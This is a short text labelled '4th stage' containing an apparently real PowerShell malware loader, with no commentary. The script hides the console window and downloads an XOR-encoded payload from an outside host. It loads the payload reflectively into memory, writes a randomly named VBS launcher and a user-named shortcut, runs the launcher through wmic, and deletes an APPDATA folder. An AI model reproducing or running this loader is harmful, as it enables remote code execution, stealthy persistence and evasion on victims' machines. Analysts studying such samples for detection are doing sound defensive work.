4th stage

Add-Type -Name Window -Namespace Console -MemberDefinition ' [DllImport("Kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow); ' function Show-Console { $consolePtr = [Console.Window]::GetConsoleWindow() #5 show [Console.Window]::ShowWindow($consolePtr, 5) } function Hide-Console { $consolePtr = [Console.Window]::GetConsoleWindow() #0 hide [Console.Window]::ShowWindow($consolePtr, 0) } #Hide-Console $bytes = (New-Object Net.WebClient).DownloadData("https://eggs.gliansky.com/v2/gd.php") for($i=0; $i -lt $bytes.count ; $i++) { $bytes[$i] = $bytes[$i] -bxor 0x6A } [Reflection.Assembly]::Load($bytes) [Loader]::Go("https://eggs.gliansky.com/v2","uKdm") $vbsFileName = "$([Loader]::outDir)\$([Loader]::RandomString([Loader]::randomInt(6, 16))).vbs" $vbsSource = "Set objSh = WScript.CreateObject(`"WScript.Shell`")`r`n"; $vbsSource += "objSh.CurrentDirectory = `"$([Loader]::outDir)`"`r`n"; $vbsSource += "objSh.Run `"`"`"$([Loader]::execFileName)`"`" $([Loader]::execParameter)`", False, False`r`n"; $vbsSource | Set-Content $vbsFileName $lnkFileName = "$([Loader]::outDir)\$env:USERNAME.lnk" $WshShell = New-Object -comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut($lnkFilename) $Shortcut.TargetPath = $vbsFileName #$Shortcut.Arguments = #$Shortcut.WorkingDirectory = [Loader]::outDir #$Shortcut.WindowStyle = 7 $Shortcut.Save() Start-Process "$env:SystemRoot\system32\wbem\wmic.exe" "process call create `"$env:SystemRoot\system32\wscript.exe $vbsFileName`"" Remove-Item "$env:APPDATA\bbt"